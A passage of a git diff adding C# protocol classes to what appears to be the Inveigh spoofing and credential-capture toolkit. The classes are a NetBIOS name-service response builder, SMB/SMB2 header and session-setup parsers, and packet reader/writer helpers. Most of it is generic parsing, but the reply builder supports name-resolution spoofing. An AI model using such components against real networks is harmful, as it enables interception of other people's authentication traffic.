+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.DNS;
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Net;
+using System.Text;
+
+namespace Quiddity.NetBIOS
+{
+ class NetBIOSNSResource : DNSResource
+ {
+
+ public byte[] GetBytes(NetBIOSNSQuestion requestQuestion, uint ttl, string reply, byte[] id)
+ {
+ byte[] rdata = Utilities.BlockCopy(new byte[2], IPAddress.Parse(reply).GetAddressBytes());
+
+ NetBIOSNSHeader responseHeader = new NetBIOSNSHeader
+ {
+ ID = id,
+ QDCount = 0,
+ ANCount = 1
+ };
+
+ this.Name = requestQuestion.QName;
+ this.Type = requestQuestion.QType;
+ this.Class = requestQuestion.QClass;
+ this.TTL = ttl;
+ this.RDLength = 6;
+ this.RData = rdata;
+
+ return Utilities.BlockCopy(responseHeader.GetBytes(), this.GetBytes());
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSSessionService.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSSessionService.cs
new file mode 100644
index 0000000..70e8dbe
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSSessionService.cs
@@ -0,0 +1,82 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System.IO;
+
+namespace Quiddity.NetBIOS
+{
+ class NetBIOSSessionService
+ {
+ // https://tools.ietf.org/html/rfc1002
+ public byte Type { get; set; }
+ public byte Flags { get; set; }
+ public ushort Length { get; set; }
+
+ public NetBIOSSessionService()
+ {
+ this.Type = 0x00;
+ this.Flags = 0x00;
+ }
+
+ public NetBIOSSessionService(byte[] data)
+ {
+ ReadBytes(data);
+ }
+
+ public void ReadBytes(byte[] data)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ this.Type = packetReader.ReadByte();
+ this.Flags = packetReader.ReadByte();
+ this.Length = packetReader.BigEndianReadUInt16();
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.Type);
+ packetWriter.Write(this.Flags);
+ packetWriter.BigEndianWrite(this.Length);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/PacketReader.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/PacketReader.cs
new file mode 100644
index 0000000..904b994
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/PacketReader.cs
@@ -0,0 +1,74 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.IO;
+
+namespace Quiddity
+{
+ class PacketReader : BinaryReader
+ {
+ public PacketReader(Stream stream) : base(stream) { }
+
+ public ushort BigEndianReadUInt16()
+ {
+ byte[] data = base.ReadBytes(2);
+ Array.Reverse(data);
+ return BitConverter.ToUInt16(data, 0);
+ }
+
+ public uint BigEndianReadUInt32()
+ {
+ byte[] data = base.ReadBytes(4);
+ Array.Reverse(data);
+ return BitConverter.ToUInt32(data, 0);
+ }
+
+ public byte[] BigEndianReadBytes(int count)
+ {
+ byte[] data = base.ReadBytes(count);
+ Array.Reverse(data);
+ return data;
+ }
+
+ public string ReadBinary(int count)
+ {
+
+ if (count == 1)
+ {
+ return Convert.ToString(base.ReadByte(), 2).PadLeft(8, '0');
+ }
+
+ return Convert.ToString(BitConverter.ToUInt16(BigEndianReadBytes(count), 0), 2).PadLeft(count * 8, '0');
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/PacketWriter.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/PacketWriter.cs
new file mode 100644
index 0000000..d5fa611
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/PacketWriter.cs
@@ -0,0 +1,76 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.IO;
+using System.Text;
+
+namespace Quiddity
+{
+ class PacketWriter : BinaryWriter // todo optimize
+ {
+ public PacketWriter(Stream stream) : base(stream) { }
+
+ public void BigEndianWrite(ushort number)
+ {
+ byte[] data = BitConverter.GetBytes(number);
+ Array.Reverse(data);
+ base.Write(data);
+ }
+
+ public void BigEndianWrite(uint number)
+ {
+ byte[] data = BitConverter.GetBytes(number);
+ Array.Reverse(data);
+ base.Write(data);
+ }
+
+ public void BigEndianWrite(int number)
+ {
+ byte[] data = BitConverter.GetBytes(number);
+ Array.Reverse(data);
+ base.Write(data);
+ }
+
+ public void BigEndianWrite(byte[] data)
+ {
+ Array.Reverse(data);
+ base.Write(data);
+ }
+
+ public void StringWrite(string String)
+ {
+ byte[] data = Encoding.UTF8.GetBytes(String);
+ base.Write(data);
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXRequest.cs
new file mode 100644
index 0000000..7130014
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXRequest.cs
@@ -0,0 +1,92 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB
+{
+ class SMBCOMSessionSetupAndXRequest
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb/a00d0361-3544-4845-96ab-309b4bb7705d
+ public byte WordCount { get; set; }
+ public byte AndXCommand { get; set; }
+ public byte AndXReserved { get; set; }
+ public ushort AndXOffset { get; set; }
+ public ushort MaxBufferSize { get; set; }
+ public ushort MaxMpxCount { get; set; }
+ public ushort VcNumber { get; set; }
+ public uint SessionKey { get; set; }
+ public ushort SecurityBlobLength { get; set; }
+ public uint Reserved { get; set; }
+ public uint Capabilities { get; set; }
+ public ushort ByteCount { get; set; }
+ public byte[] SecurityBlob { get; set; }
+
+ public SMBCOMSessionSetupAndXRequest()
+ {
+
+ }
+
+ public SMBCOMSessionSetupAndXRequest(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.WordCount = packetReader.ReadByte();
+ this.AndXCommand = packetReader.ReadByte();
+ this.AndXReserved = packetReader.ReadByte();
+ this.AndXOffset = packetReader.ReadUInt16();
+ this.MaxBufferSize = packetReader.ReadUInt16();
+ this.MaxMpxCount = packetReader.ReadUInt16();
+ this.VcNumber = packetReader.ReadUInt16();
+ this.SessionKey = packetReader.ReadUInt32();
+ this.SecurityBlobLength = packetReader.ReadUInt16();
+ this.Reserved = packetReader.BigEndianReadUInt32();
+ this.Capabilities = packetReader.ReadUInt32();
+ this.ByteCount = packetReader.ReadUInt16();
+ this.SecurityBlob = packetReader.ReadBytes(this.SecurityBlobLength);
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXResponse.cs
new file mode 100644
index 0000000..216162e
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXResponse.cs
@@ -0,0 +1,91 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB
+{
+ class SMBCOMSessionSetupAndXResponse
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb/e5a467bc-cd36-4afa-825e-3f2a7bfd6189
+ public byte WordCount { get; set; }
+ public byte AndXCommand { get; set; }
+ public byte AndXReserved { get; set; }
+ public ushort AndXOffset { get; set; }
+ public ushort Action { get; set; }
+ public ushort SecurityBlobLength { get; set; }
+ public ushort ByteCount { get; set; }
+ public byte[] SecurityBlob { get; set; }
+
+ public SMBCOMSessionSetupAndXResponse()
+ {
+
+ }
+
+ public SMBCOMSessionSetupAndXResponse(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.WordCount = packetReader.ReadByte();
+
+ if (this.WordCount != 0)
+ {
+ this.AndXCommand = packetReader.ReadByte();
+ this.AndXReserved = packetReader.ReadByte();
+ this.AndXOffset = packetReader.ReadUInt16();
+ this.Action = packetReader.ReadUInt16();
+ this.SecurityBlobLength = packetReader.ReadUInt16();
+ }
+
+ this.ByteCount = packetReader.ReadUInt16();
+
+ if (this.WordCount != 0)
+ {
+ this.SecurityBlob = packetReader.ReadBytes(SecurityBlobLength);
+ }
+
+ }
+
+ }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/SMBHeader.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/SMBHeader.cs
new file mode 100644
index 0000000..9704220
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/SMBHeader.cs
@@ -0,0 +1,93 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System.IO;
+
+namespace Quiddity.SMB
+{
+ //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-cifs/69a29f73-de0c-45a6-a1aa-8ceeea42217f
+
+ class SMBHeader
+ {
+ public byte[] Protocol { get; set; }
+ public byte Command { get; set; }
+ public uint Status { get; set; }
+ public byte Flags { get; set; }
+ public ushort Flags2 { get; set; }
+ public ushort PIDHigh { get; set; }
+ public byte[] SecurityFeatures { get; set; }
+ public ushort Reserved { get; set; }
+ public ushort TID { get; set; }
+ public ushort PIDLow { get; set; }
+ public ushort UID { get; set; }
+ public ushort MID { get; set; }
+
+ public SMBHeader()
+ {
+ this.Protocol = new byte[4] { 0xff, 0x53, 0x4d, 0x42 };
+ }
+
+ public SMBHeader(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public SMBHeader (byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.Protocol = packetReader.ReadBytes(4);
+ this.Command = packetReader.ReadByte();
+ this.Status = packetReader.BigEndianReadUInt32();
+ this.Flags = packetReader.ReadByte();
+ this.Flags2 = packetReader.BigEndianReadUInt16();
+ this.PIDHigh = packetReader.BigEndianReadUInt16();
+ this.SecurityFeatures = packetReader.ReadBytes(8);
+ this.Reserved = packetReader.BigEndianReadUInt16();
+ this.TID = packetReader.BigEndianReadUInt16();
+ this.PIDLow = packetReader.BigEndianReadUInt16();
+ this.UID = packetReader.BigEndianReadUInt16();
+ this.MID = packetReader.BigEndianReadUInt16();
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/SMBHelper.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/SMBHelper.cs
new file mode 100644
index 0000000..32f4309
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/SMBHelper.cs
@@ -0,0 +1,70 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System.IO;
+
+namespace Quiddity.SMB
+{
+ class SMBHelper
+ {
+ public byte[] Protocol { get; set; }
+
+ public SMBHelper()
+ {
+ this.Protocol = new byte[4];
+ }
+
+ public SMBHelper(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public SMBHelper(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public SMBHelper ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.Protocol = packetReader.ReadBytes(4);
+ return this;
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CloseRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CloseRequest.cs
new file mode 100644
index 0000000..bbe6926
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CloseRequest.cs
@@ -0,0 +1,47 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.SMB2
+{
+ class SMB2CloseRequest
+ {
+ // https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/f84053b0-bcb2-4f85-9717-536dae2b02bd
+ public ushort StructureSize { get; set; }
+ public byte[] Flags { get; set; }
+ public byte[] Reserved { get; set; }
+ public byte[] Field { get; set; }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CloseResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CloseResponse.cs
new file mode 100644
index 0000000..3d9b341
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CloseResponse.cs
@@ -0,0 +1,54 @@
+
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
